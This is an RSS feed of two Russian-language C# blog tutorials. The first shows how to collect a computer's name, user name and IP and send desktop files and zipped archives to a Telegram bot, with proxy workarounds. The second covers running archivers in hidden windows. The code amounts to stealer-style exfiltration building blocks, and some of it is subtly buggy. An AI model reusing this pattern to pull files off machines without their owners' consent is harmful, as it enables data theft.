<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>r3xq1</title><generator>teletype.in</generator><description><![CDATA[Разработчик плюшек]]></description><image><url>https://teletype.in/files/ac/acab7a9d-bbfe-4a2f-923f-7b90bba03a36.png</url><title>r3xq1</title><link>https://teletype.in/@r3xq1</link></image><link>https://teletype.in/@r3xq1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=r3xq1</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/r3xq1?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/r3xq1?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Tue, 09 Jun 2026 14:23:49 GMT</pubDate><lastBuildDate>Tue, 09 Jun 2026 14:23:49 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@r3xq1/3Fztr0TOE</guid><link>https://teletype.in/@r3xq1/3Fztr0TOE?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=r3xq1</link><comments>https://teletype.in/@r3xq1/3Fztr0TOE?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=r3xq1#comments</comments><dc:creator>r3xq1</dc:creator><title>Отправка данных в TelegramBot</title><pubDate>Sat, 22 Aug 2020 17:37:35 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/13/81/138137f7-a8a5-4a93-8c1b-b22545a85695.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/13/81/138137f7-a8a5-4a93-8c1b-b22545a85695.png"></img>Сначала сделаем отправку без использования библиотек, напрямую по URL.]]></description><content:encoded><![CDATA[
  <figure class="m_column">
    <img src="https://teletype.in/files/13/81/138137f7-a8a5-4a93-8c1b-b22545a85695.png" width="704" />
  </figure>
  <p>Сначала сделаем отправку <strong>без использования библиотек</strong>, напрямую по <strong><u>URL</u></strong>.</p>
  <h3>У нас есть API сайт телеграмм: </h3>
  <ul>
    <li><a href="https://core.telegram.org/bots/api" target="_blank">Справочник на Английском языке</a></li>
    <li><a href="https://tlgrm.ru/docs/bots/api" target="_blank">Справочник на Русском языке</a></li>
  </ul>
  <p>В котором мы можем найти все данные для отправки запросов и получения данных.</p>
  <hr />
  <p>Методы для отправки можете найти <a href="https://pastebin.com/raw/1vxQ4usD" target="_blank">тут</a></p>
  <p>Пример вызова методов:</p>
  <p>                                  <em><strong>Используется System.Net.Http</strong></em></p>
  <figure class="m_original">
    <img src="https://teletype.in/files/df/30/df3076b8-da79-4e40-8b7d-a24fe20ec054.png" width="905" />
  </figure>
  <pre>namespace TGbotEx
{
    using System;
    using System.IO;
    using System.Net;
    using System.Threading.Tasks;</pre>
  <pre>    internal static class Program
    {
        private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
        [STAThread]
        public static async Task Main()
        {</pre>
  <pre>            string textMessage = string.Concat(
            &quot;👤 Компьютер: &quot;, Environment.MachineName,
            &quot;\n 🏴 Пользователь: &quot;, Environment.UserName,
            &quot;\n 🌐 IP: &quot;, GetIP(&quot;https://api.ipify.org&quot;));
            string photos = Path.Combine(Desktop, &quot;CaptureFile.jpg&quot;); // Путь к фотографии
            string text = Path.Combine(Desktop, &quot;SendFile.txt&quot;); // Путь к текстовому файлу
            await TGchannel.UrlSendFileAsync(&quot;Ваш токен бота&quot;, Ваш ChatID, false, photos).ConfigureAwait(false);
            Console.Read();
        }
        // Метод для получения IP адреса
        private static string GetIP(string url)
        {
            string result = string.Empty;
            try
            {
                var Link = new Uri(url);
                using (var client = new WebClient())
                {
                    result = client.DownloadString(Link);
                }
            }
            catch { }
            return result;
        }
    }
}</pre>
  <hr />
  <p>Для отправки <strong>zip</strong> файла можно использовать ещё такой способ: <a href="https://pastebin.com/raw/u59GQxAF" target="_blank">Кликни сюда</a></p>
  <p>Использовать метод для отправки архива можно так:</p>
  <pre>string ZipArchive = Path.Combine(Desktop, &quot;NameYourZipFile.zip&quot;);</pre>
  <pre>var CaptionBuild = new StringBuilder();
CaptionBuild.AppendLine($&quot;⚡️ Архив прислан от: {Environment.UserName}&quot;);
CaptionBuild.AppendLine($&quot;👤 Компьютер: {Environment.MachineName}&quot;);
CaptionBuild.AppendLine($&quot;🏴 Пользователь: {Environment.UserName}&quot;);
CaptionBuild.AppendLine($&quot;🌐 IP: {GetIP(&quot;https://api.ipify.org&quot;)}&quot;);
CaptionBuild.AppendLine(&quot;&quot;);
CaptionBuild.AppendLine(&quot;Developed by r3xq1&quot;);</pre>
  <pre>SendFileToServer(ZipArchive, &quot;application/x-winzip&quot;, Token, ID_chat);</pre>
  <p>Все методы прокомментированы, думаю объяснять ничего особо не нужно. </p>
  <hr />
  <p>Теперь напишем методы <strong>с использованием библиотеки</strong> <a href="https://www.nuget.org/packages/Telegram.Bot/" target="_blank">Telegram.Bot.dll</a></p>
  <p>Методы для отправки можете найти <a href="https://pastebin.com/raw/8YgskCpL" target="_blank">тут</a></p>
  <p><code>private static TelegramBotClient bot;</code></p>
  <p>Для отправки файл(а)ов:</p>
  <pre> /// &lt;summary&gt;
 /// Асинхронный метод для отправки файла в канал телеграмма
 /// &lt;/summary&gt;
 /// &lt;param name=&quot;token&quot;&gt;Токен бота&lt;/param&gt;
 /// &lt;param name=&quot;chatId&quot;&gt;ID чата&lt;/param&gt;
 /// &lt;param name=&quot;filename&quot;&gt;Полный путь к файлу&lt;/param&gt;
 /// &lt;returns&gt;&lt;/returns&gt;
 public static async Task AsyncSendFile(string token, int? chatId, string filename)
 {
   if (!string.IsNullOrWhiteSpace(token) || chatId != null || System.IO.File.Exists(filename)) // chatId ! = null
   {
       try
       {
          ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
          bot = new TelegramBotClient(token);
           // using (var stream = System.IO.File.Open(filename, FileMode.Open))
           using (FileStream stream = System.IO.File.OpenRead(filename))
           {
              string ssf = Path.GetFileName(filename);
              var Iof = new InputOnlineFile(stream, ssf);
              string fromsend = $&quot;Файл отправлен от: {Environment.UserName}&quot;;
              Message result = await bot?.SendDocumentAsync(chatId, Iof, fromsend); 
            }
        }
        catch (Exception ex)
        {
           System.IO.File.WriteAllText(&quot;AsyncSendFile_Error.txt&quot;, $&quot;{ex.Message}{Environment.NewLine}&quot;);
        }
   }}</pre>
  <p>Для отправки сообщения:</p>
  <pre>/// &lt;summary&gt;
/// Асинхронный метод для отправки текста в канал телеграмма
/// &lt;/summary&gt;
/// &lt;param name=&quot;token&quot;&gt;Токен бота&lt;/param&gt;
/// &lt;param name=&quot;chatId&quot;&gt;ID чата&lt;/param&gt;
/// &lt;param name=&quot;textMessage&quot;&gt;Сообщение для отправки&lt;/param&gt;
/// &lt;returns&gt;&lt;/returns&gt;
public static async Task AsyncSendText(string token, int? chatId, string textMessage)
{
  if (!string.IsNullOrWhiteSpace(token) || chatId != null || !string.IsNullOrWhiteSpace(textMessage))
  {
     try
     {
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
        bot = new TelegramBotClient(token);
        Message result = await bot?.SendTextMessageAsync(chatId, textMessage);
     }
     catch (Exception ex)
     {
       System.IO.File.WriteAllText(&quot;AsyncSendText_Error.txt&quot;, $&quot;{ex.Message}{Environment.NewLine}&quot;);
     }
  }
}</pre>
  <p>Используется так:</p>
  <pre>await TGLibChannel.AsyncSendText(&quot;Ваш токен бота&quot;, Ваш ChatID, textMessage).ConfigureAwait(false);
await TGLibChannel.AsyncSendFile(&quot;Ваш токен бота&quot;, Ваш ChatID, false, photos).ConfigureAwait(false);
TGLibChannel.MassSendFiles(&quot;Ваш токен бота&quot;, Ваш ChatID, Desktop, &quot;*zip&quot;); // отправляем файлы zip</pre>
  <hr />
  <h3>ProxyServer - Подключаем прокси</h3>
  <p>Немного о том, что делать если <a href="https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D1%81%D0%BA%D0%BE%D0%BC%D0%BD%D0%B0%D0%B4%D0%B7%D0%BE%D1%80" target="_blank">Роскомнадзор </a>блокирует отправку/получения данных из/в телеграмм?! </p>
  <p>В таком случае придётся использовать <a href="https://www.kaspersky.ru/blog/vpn-explained/10635/" target="_blank">VPN </a>( на пример: <a href="https://nordvpn.com/ru/" target="_blank">NordVPN</a> )</p>
  <p>Или подключать <a href="https://siteactiv.ru/terminy/proksi/" target="_blank">Proxy </a>к самому <em>TelegramBot</em>&#x27;<em>у</em>.</p>
  <p>Вот  пример как подключить прокси к боту:</p>
  <p>Для Телеграмм нужно использовать <a href="https://github.com/MihaZupan/HttpToSocks5Proxy" target="_blank">Socks5</a> прокси от <a href="https://github.com/MihaZupan/HttpToSocks5Proxy/commits?author=MihaZupan" target="_blank">MihaZupan</a></p>
  <p><u>P.S:</u> Если не хотите использовать <strong>.dll</strong> библиотеку, то можно скачать классы по этим ссылкам: </p>
  <ul>
    <li><a href="https://yadi.sk/d/Pfd7zUaV2d3jnQ" target="_blank">r3Socks5.rar - Yandex-Disk</a></li>
    <li><a href="https://mega.nz/file/CDQmSCIB#Dle8wWfXq9Eg2kwwq_CM26kKJKZatlO7xSEP_L4Hmdc" target="_blank">r3Socks5.rar - Mega.nz</a></li>
  </ul>
  <p>Выберем подходящий проксик по <a href="https://spys.one/en/socks-proxy-list/" target="_blank">этой</a> ссылке.</p>
  <p>Теперь подключаем в коде:</p>
  <pre>var proxy = new HttpToSocks5Proxy(ProxyIP, ProxyPort);
proxy.ResolveHostnamesLocally = true;
Bot = new TelegramBotClient(BotToken, proxy);</pre>
  <p>или так</p>
  <pre>var proxy = new HttpToSocks5Proxy(&quot;IPAddress&quot;, Port, Username, Password);
client.Proxy = proxy;</pre>
  <p>На этом всё! </p>
  <p>Если у Вас есть желание поблагодарить меня небольшой суммой я буду только рад</p>
  <p><strong>BTC</strong>: <code>1BebhKcKzEHDbCtNz21DT7ocB6wv1LQVGH</code></p>
  <h2><em>По всем вопросами пишите мне в:</em></h2>
  <ul>
    <li>Telegram: <a href="https://t.me/r3xq1" target="_blank">@r3xq1</a> ( остерегайтесь фейков )</li>
    <li>Jabber: <a href="mailto:r3xq1_dev@exploit.im" target="_blank">r3xq1_dev@exploit.im</a></li>
  </ul>
  <p><a href="https://github.com/r3xq1" target="_blank">https://github.com/r3xq1</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@r3xq1/ArchiveDataR3</guid><link>https://teletype.in/@r3xq1/ArchiveDataR3?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=r3xq1</link><comments>https://teletype.in/@r3xq1/ArchiveDataR3?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=r3xq1#comments</comments><dc:creator>r3xq1</dc:creator><title>Архивация данных на языке C#</title><pubDate>Fri, 26 Jun 2020 12:22:00 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/02/43/024327db-0790-4461-bbbf-3385adce968a.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/6e/de/6ede5e9b-e92e-46e8-b784-fc4505810dc2.png"></img>В этом примере вы сможете с лёгкостью архивировать ваши данные файлов на  версии .NetFramework от v4.0 - v4.5 и выше.]]></description><content:encoded><![CDATA[
  <figure id="YggV" class="m_retina">
    <img src="https://teletype.in/files/6e/de/6ede5e9b-e92e-46e8-b784-fc4505810dc2.png" width="720" />
    <figcaption>Пример архивации данных для новичков</figcaption>
  </figure>
  <hr />
  <p id="Lnwf">В этом примере вы сможете с лёгкостью архивировать ваши данные файлов на  версии <code>.NetFramework</code> от <strong>v4.0 - v4.5</strong> и выше.</p>
  <p id="aGo8"><strong>Нажмите</strong>: <u><a href="https://yadi.sk/d/0wR9J-vdB7UzRQ" target="_blank">скачать</a> <a href="https://mega.nz/file/uTo1WagS#JpEf6DKzY3Ov1moNN9JIA6UsC4CCBYQKC1e7QoDd3xA" target="_blank">всё</a></u>необходимое для вашей работы! (В этом архиве лежат все нужные классы которые вы можете использовать для работы с архивацией)</p>
  <hr />
  <p id="melr">Начнём работу со стандартными архиваторами которые установлены на машине пользователя, а это <code>7-Zip</code> , <code>WinRAR</code> </p>
  <p id="toEV">Для работы мне потребовалась некоторая документация:</p>
  <ul id="YOSD">
    <li id="w9vF"><a href="https://documentation.help/WinRAR/" target="_blank">https://documentation.help/WinRAR/</a></li>
    <li id="RmTj"><a href="https://www.cyberforum.ru/cmd-bat/thread702837.html" target="_blank">https://www.cyberforum.ru/cmd-bat/thread702837.html</a></li>
  </ul>
  <p id="tWPr">Сначала находим где установлены эти архиваторы, будем использовать реестр для нахождения, воспользуемся данным кодом ниже:</p>
  <p id="CUaM"><strong>[Внимание]</strong> В данном коде используется версия <code>C# 8.0</code></p>
  <h2 id="kWVS">Класс для нахождения стандартных архиваторов на компьютере через реестр.</h2>
  <figure id="q8O0" class="m_original">
    <img src="https://teletype.in/files/a2/8f/a28fcf70-859f-4572-b6e2-bff3e86546bc.png" width="704" />
    <figcaption>Класс для нахождения архиваторов через Реестр Windows</figcaption>
  </figure>
  <pre id="86Zz">namespace Archiver
{
    using Microsoft.Win32;</pre>
  <pre id="EoGz">    public static class RegZipPath 
    {
        /// &lt;summary&gt;
        /// Метод для поиска установленного WinRAR архиватора в системе через реестр
        /// &lt;/summary&gt;
        /// &lt;returns&gt;Путь к &lt;b&gt;.exe&lt;/b&gt; архиватору&lt;/returns&gt;
        public static string FindWinRar()
        {
            string result = string.Empty;
            try
            {
                const string REGPATH = @&quot;WinRAR\Shell\Open\Command&quot;;
                using RegistryKey Root = Registry.ClassesRoot.OpenSubKey(REGPATH);
                string winrarPath = (Root?.GetValue(&quot;&quot;))?.ToString();
                winrarPath = winrarPath.Substring(1, winrarPath.Length - 7);
                result = winrarPath;
            }
            catch { }
            return result;
        }</pre>
  <pre id="MfpG">        /// &lt;summary&gt;
        /// Метод для поиска установленного 7-Zip архиватора в системе через реестр
        /// &lt;/summary&gt;
        /// &lt;returns&gt;Путь к &lt;b&gt;.exe&lt;/b&gt; архиватору&lt;/returns&gt;
        public static string FindWinZip()
        {
            string result = string.Empty;
            try
            {
                const string REGPATH = @&quot;Software\7-Zip&quot;;
                using RegistryKey zip = Registry.CurrentUser.OpenSubKey(REGPATH);
                result = string.Concat((zip?.GetValue(&quot;Path&quot;))?.ToString(), &quot;7z.exe&quot;);
            }
            catch { }
            return result;
        }
    }
}</pre>
  <p id="yXJ0">Эти два метода из класса <code>RegZipPath.cs</code> позволять находить путь к <strong>.exe</strong>-шнику нужного архиватора, если тот установлен в системе.</p>
  <hr />
  <p id="P6eM">Теперь перейдём в другой класс который будет отвечать за саму архивацию папки.</p>
  <h2 id="sYdN">Класс в котором используются 2-а метода для архивации папки с максимальным сжатием и разархивации архива.</h2>
  <figure id="TNS5" class="m_original">
    <img src="https://teletype.in/files/51/42/51429a24-cb2f-4918-acc9-469d1c47d04c.png" width="850" />
    <figcaption>Класс для архивации данных через стандартные архиваторы Windows ( Winrar, Zip )</figcaption>
  </figure>
  <p id="mGxr">Для <strong>7-Zip</strong> используется данный метод <code>PackZip</code></p>
  <hr />
  <p id="iWjg">Расшифровка аргументов для Архивации папки:</p>
  <ul id="FUvP">
    <li id="pi1e"><code>a</code> ( Добавление файлов в архив )</li>
  </ul>
  <pre id="oVO0">t - тип. Определяет тип архива, который вы хотите создать:
-t7z Формат: 7Z
-tgzip Формат: GZIP
-tzip Формат: ZIP
-tbzip2 Формат: BZIP2
-ttar Формат: TAR
-tiso Формат: ISO
-tudf Формат: UDF</pre>
  <ul id="XIhg">
    <li id="Mrku"><code>-r</code> ( Обрабатывать вложенные папки )</li>
    <li id="SRAB"><code>{outputzip}.zip</code> ( Имя выходного архива )</li>
    <li id="6TZo"><code>{datapath}</code> (Путь к папке, которую нужно архивировать)</li>
    <li id="272C"><code>-mx=9</code> ( Уровень сжатия архива, <strong>1 - Fast | 9 Ultra</strong> )</li>
  </ul>
  <hr />
  <pre id="ygz2">public static class ArchCmd
{
   /// &lt;summary&gt;
   /// Метод для архивации папки с ультра сжатием.
   /// &lt;/summary&gt;
   /// &lt;param name=&quot;zipshell&quot;&gt;Путь к архиватору&lt;/param&gt;
   /// &lt;param name=&quot;datapath&quot;&gt;Путь к папке которую нужно архивировать&lt;/param&gt;
   /// &lt;param name=&quot;outputzip&quot;&gt;Выходной путь, куда сохранять с новым именем архива&lt;/param&gt;
   public static void PackZip(string zipshell, string datapath, string outputzip)
   {
     if (File.Exists(zipshell) &amp;&amp; (!string.IsNullOrWhiteSpace(datapath) || !string.IsNullOrWhiteSpace(outputzip)))
     {
        var pro = new ProcessStartInfo
        {
           WindowStyle = ProcessWindowStyle.Hidden,
           FileName = zipshell,
           Arguments = $@&quot;a -tzip -r {outputzip}.zip {datapath} -mx=9&quot;
        };
        using var x = Process.Start(pro);
        x.Refresh();
        x.WaitForExit(); // Обязательно)
      }
   }</pre>
  <hr />
  <p id="nNAL">Так же используется метод для распаковки <code>UnpackZip</code></p>
  <p id="0bwx">Расшифровка аргументов для распаковки архива:</p>
  <ul id="UPhP">
    <li id="0CrJ"><code>x</code> (Принимающий архив который нужно распаковать)</li>
    <li id="OJSn"><code>-o</code> (Выходная директория распакованного архива)</li>
  </ul>
  <pre id="CujD">/// &lt;summary&gt;
/// Метод для распаковки .zip архива
/// &lt;/summary&gt;
/// &lt;param name=&quot;zipshell&quot;&gt;Путь к архиватору&lt;/param&gt;
/// &lt;param name=&quot;inputzip&quot;&gt;Путь к папке которую нужно разархивировать&lt;/param&gt;
/// &lt;param name=&quot;outputdir&quot;&gt;Выходной путь, куда сохранять папку&lt;/param&gt;
public static void UnpackZip(string zipshell, string inputzip, string outputdir)
{
  if (File.Exists(zipshell) &amp;&amp; (!string.IsNullOrWhiteSpace(inputzip) || !string.IsNullOrWhiteSpace(outputdir)))
  {
     var pro = new ProcessStartInfo
     {
        WindowStyle = ProcessWindowStyle.Hidden,
        FileName = zipshell,
        Arguments = $&quot;x {inputzip}.zip -o{outputdir}&quot;
     };
     using var x = Process.Start(pro);
     x.WaitForExit();
   }
}</pre>
  <p id="rHEB">Пример использования для <strong>Zip</strong></p>
  <pre id="PmuW">/* -Примеры использования-
private static readonly string CurrDir = Environment.CurrentDirectory; // Текущая директория
private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // Рабочий стол
ZipDot - Имя папки которую архивируем. 
r3xq1 - Имя архива ( без .zip )
Для архивации: PackZip(RegZipPath.FindWinZip(), Path.Combine(CurrDir, &quot;ZipDot&quot;), Path.Combine(Desktop, &quot;r3xq1&quot;));
Для распаковки: UnpackZip(RegZipPath.FindWinZip(), Path.Combine(Desktop, &quot;r3xq1&quot;), Path.Combine(Desktop, &quot;r3xq1&quot;));
*/</pre>
  <p id="hFVC">Отлично! С методом <strong>Zip</strong> архивации и разархивации мы разобрались)</p>
  <hr />
  <p id="KrUt">Теперь сделаем тоже самое только для работы с <strong>WinRAR</strong> архиватором.</p>
  <p id="f1CQ">Расшифровка аргументов:</p>
  <ul id="e90x">
    <li id="zawB"><code>a</code> (Добавление файлов в архив)</li>
    <li id="nxUg"><code>-ep1</code> (Исключить из пути базовую папку)</li>
    <li id="2h8k"><code>-m5</code> (Установить метод сжатия, <strong>1 - Fast | 5 - Ultra</strong>)</li>
    <li id="HcX3"> <code>-r</code> (Обрабатывать вложенные папки )</li>
    <li id="ctGd"><code>-y</code> (Подразумевать ответ &quot;Да&quot; на все запросы  - На всякий случай, чтобы не было лишних консольных окошек)</li>
    <li id="Wbhr"><code>{outputzip}.zip</code> (Имя выходного архива)</li>
    <li id="cCip"><code>{datapath}</code> (Путь к папке, которую нужно архивировать)</li>
  </ul>
  <hr />
  <pre id="F2sb">/// &lt;summary&gt;
/// Метод для архивации папки с ультра сжатием.
/// &lt;/summary&gt;
/// &lt;param name=&quot;rarshell&quot;&gt;Путь к архиватору&lt;/param&gt;
/// &lt;param name=&quot;datapath&quot;&gt;Путь к папке которую нужно архивировать&lt;/param&gt;
/// &lt;param name=&quot;outputzip&quot;&gt;Выходной путь, куда сохранять с новым именем архива&lt;/param&gt;
public static void PackRar(string rarshell, string datapath, string outputzip)
{
  if (File.Exists(rarshell) &amp;&amp; (!string.IsNullOrWhiteSpace(datapath) || !string.IsNullOrWhiteSpace(outputzip)))
  {
     var pro = new ProcessStartInfo
     {
        WindowStyle = ProcessWindowStyle.Hidden,
        FileName = rarshell,
        Arguments = $@&quot;a -ep1 -m5 -r -y {outputzip}.rar {datapath}&quot;
     };
     using var x = Process.Start(pro);
     x.Refresh();
     x.WaitForExit();
   }
}</pre>
  <p id="pZnp">Вызов точно так же как с <strong>Zip</strong> только за место первого аргумента даём путь нахождения <strong>Winrar</strong> архиватора а не <strong>Zip</strong>.</p>
  <pre id="zrUd">ArchCmd.PackRar(RegZipPath.FindWinRar(), Path.Combine(CurrDir, &quot;ZipDot&quot;), Path.Combine(Desktop, &quot;r3xq1&quot;));</pre>
  <p id="Si8g">Отлично, с этим мы закончили.</p>
  <hr />
  <p id="NX6B">Теперь мы поговорим о классе <strong><a href="https://github.com/jaime-olivares/zipstorer" target="_blank">Zipstorer.cs</a></strong></p>
  <p id="x3ym">Этот класс можно использовать в <code>.NetFramework 4.0</code> за место всяких левых библиотек. Класс сможете найти в архиве, я его немного изменил чтобы было проще использовать и добавил класс <strong>ZipR3.cs</strong> через который можно вызывать необходимые методы. </p>
  <pre id="QS4m">public static class ZipR3
{
        /* Created r3xq1 */</pre>
  <pre id="hsQN">        #region Methods for adding folders to the archive | Методы для добавления папок в архив</pre>
  <pre id="gFX6">        /// &lt;summary&gt;
        /// Method for adding folders to .Zip archive
        /// &lt;br&gt;Метод для добавления папок в .Zip архив&lt;/br&gt;
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;zippath&quot;&gt;The path to the .zip archive folder&lt;br&gt;Путь к папке .zip архива&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;datapath&quot;&gt;Full path to folders to add to .zip archive&lt;br&gt;Полный путь к папкам для добавления в .zip архив&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;mode&quot;&gt;Compression method&lt;br&gt;Метод сжатия&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;commentzip&quot;&gt;Comments on the .zip archive&lt;br&gt;Комментарии к .zip архиву&lt;/br&gt;&lt;/param&gt;
        public static void AddMassDirectory(string zippath, string[] datapath, ZipStorer.Compression mode, string commentzip = &quot;&quot;) 
        {
            using var zipdir = ZipStorer.Create(zippath, commentzip);
            foreach (string dir in datapath.Where(dir =&gt; Directory.Exists(dir)))
            {
                zipdir?.AddDirectory(mode, dir, string.Empty);
            }
        }
        public static void AddMassDirectory(string zippath, List&lt;string&gt; datapath, ZipStorer.Compression mode, string commentzip = &quot;&quot;)
        {
            using var zipdir = ZipStorer.Create(zippath, commentzip);
            foreach (string dir in datapath.Where(dir =&gt; Directory.Exists(dir)))
            {
                zipdir?.AddDirectory(mode, dir, string.Empty);
            }
        }</pre>
  <pre id="yYO1">        /// &lt;summary&gt;
        /// &lt;br&gt;Метод для добавления папки в .Zip архив&lt;/br&gt;
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;zippath&quot;&gt;The path to the .zip archive folder&lt;br&gt;Путь к папке .zip архива&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;datapath&quot;&gt;Full path to the folder to add to the .zip archive&lt;br&gt;Полный путь к папке для добавления в .zip архив&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;mode&quot;&gt;Compression method&lt;br&gt;Метод сжатия&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;commentzip&quot;&gt;Comments on the .zip archive&lt;br&gt;Комментарии к .zip архиву&lt;/br&gt;&lt;/param&gt;
        public static void AddDirectory(string zippath, string datapath, ZipStorer.Compression mode, string commentzip = &quot;&quot;) 
        {
            using var zipdir = ZipStorer.Create(zippath, commentzip);
            if (Directory.Exists(datapath))
            {
                zipdir?.AddDirectory(mode, datapath, string.Empty);
            }
        }
        #endregion</pre>
  <pre id="WVze">        #region Methods for adding files to the archive | Методы для добавления файлов в архив</pre>
  <pre id="MxMv">        /// &lt;summary&gt;
        /// Method for adding a files to a .zip archive
        /// &lt;br&gt;Метод для добавления файлов в .zip архив&lt;/br&gt;
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;zippath&quot;&gt;The path to the .zip archive folder&lt;br&gt;Путь к папке .zip архива&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;filepath&quot;&gt;Full path to files to add to .zip archive&lt;br&gt;Полный путь к файлам для добавления в .zip архив&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;mode&quot;&gt;Compression method&lt;br&gt;Метод сжатия&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;commentzip&quot;&gt;Comments on the .zip archive&lt;br&gt;Комментарии к .zip архиву&lt;/br&gt;&lt;/param&gt;
        public static void AddMassFile(string zippath, string[] filepath, ZipStorer.Compression mode, string commentzip = &quot;&quot;)
        {
            using var zip = ZipStorer.Create(zippath, commentzip);
            zip.EncodeUTF8 = true;
            foreach (string files in filepath.Where(files =&gt; File.Exists(files)))
            {
                zip?.AddFile(mode, files, Path.GetFileName(files), string.Empty);
            }
        }
        public static void AddMassFile(string zippath, List&lt;string&gt; filepath, ZipStorer.Compression mode, string commentzip = &quot;&quot;)
        {
            using var zip = ZipStorer.Create(zippath, commentzip);
            zip.EncodeUTF8 = true;
            foreach (string files in filepath.Where(files =&gt; File.Exists(files)))
            {
                zip?.AddFile(mode, files, Path.GetFileName(files), string.Empty);
            }
        }</pre>
  <pre id="mwep">        /// &lt;summary&gt;
        /// Method for adding a file to a .zip archive
        /// &lt;br&gt;Метод для добавления файла в .zip архив&lt;/br&gt;
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;zippath&quot;&gt;The path to the .zip archive folder&lt;br&gt;Путь к папке .zip архива&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;filepath&quot;&gt;Full path to the file to add to the .Zip archive&lt;br&gt;Полный путь к файлу для добавления в .Zip архив&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;mode&quot;&gt;Compression method&lt;br&gt;Метод сжатия&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;commentzip&quot;&gt;Comments on the .zip archive&lt;br&gt;Комментарии к .zip архиву&lt;/br&gt;&lt;/param&gt;
        public static void AddFile(string zippath, string filepath, ZipStorer.Compression mode, string commentzip = &quot;&quot;)
        {
            using var zip = ZipStorer.Create(zippath, commentzip);
            zip.EncodeUTF8 = true;
            zip?.AddFile(mode, filepath, Path.GetFileName(filepath), string.Empty);
        }</pre>
  <pre id="zTfn">        #endregion</pre>
  <pre id="euRo">        #region Methods for unpacking files from the archive | Методы для распаковки файлов из архива</pre>
  <pre id="3uWN">        /// &lt;summary&gt;
        /// Method for unpacking a files from a .Zip archive
        /// &lt;br&gt;Метод для распаковки файлов из .Zip архива&lt;/br&gt;
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;zippath&quot;&gt;The path to the .zip archive folder&lt;br&gt;Путь к папке .zip архива&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;filenames&quot;&gt;Name of files to unzip&lt;br&gt;Имя файлов которые нужно распаковать&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;savepath&quot;&gt;Path to save files&lt;br&gt;Путь для сохранения файлов&lt;/br&gt;&lt;/param&gt;
        public static void UnpackMassFile(string zippath, string[] filenames, string savepath)
        {
            using var zip = ZipStorer.Open(zippath, FileAccess.Read);
            foreach (ZipStorer.ZipFileEntry entry in zip.ReadCentralDir())
            {
                foreach (string file in filenames.Where(file =&gt; Path.GetFileName(entry.FilenameInZip).Contains(file)))
                {
                    zip?.ExtractFile(entry, Path.Combine(savepath, file));
                }
            }
        }</pre>
  <pre id="ie4d">        /// &lt;summary&gt;
        /// Method for unpacking a file from a .Zip archive
        /// &lt;br&gt;Метод для распаковки файла из .Zip архива&lt;/br&gt;
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;zippath&quot;&gt;The path to the .zip archive folder&lt;br&gt;Путь к папке .zip архива&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;filename&quot;&gt;The name of the file you want to unzip&lt;br&gt;Имя файла которого нужно распаковать&lt;/br&gt;&lt;/param&gt;
        /// &lt;param name=&quot;savepath&quot;&gt;Path to save file&lt;br&gt;Путь для сохранения файла&lt;/br&gt;&lt;/param&gt;
        public static void UnpackFile(string zippath, string filename, string savepath)
        {
            using var zip = ZipStorer.Open(zippath, FileAccess.Read);
            foreach (ZipStorer.ZipFileEntry entry in zip.ReadCentralDir().Where(entry =&gt; Path.GetFileName(entry.FilenameInZip).Contains(filename)))
            {
                zip?.ExtractFile(entry, Path.Combine(savepath, filename));
                break;
            }
        }
        #endregion
    }</pre>
  <p id="FirI">Класс можете изменить под себя, как вам будет удобно. </p>
  <hr />
  <p id="kWkK">В версии <code>.NetFramework 4.5</code> имеется встроенный архиватор который вы можете использовать.</p>
  <p id="A5PB">Для этого подключите ссылки:</p>
  <ul id="AMRu">
    <li id="YrVl"><code>using System</code></li>
    <li id="pgMk"><code>System.IO.Compression</code></li>
    <li id="pgZc"><code>System.IO.Compression.FileSystem</code></li>
  </ul>
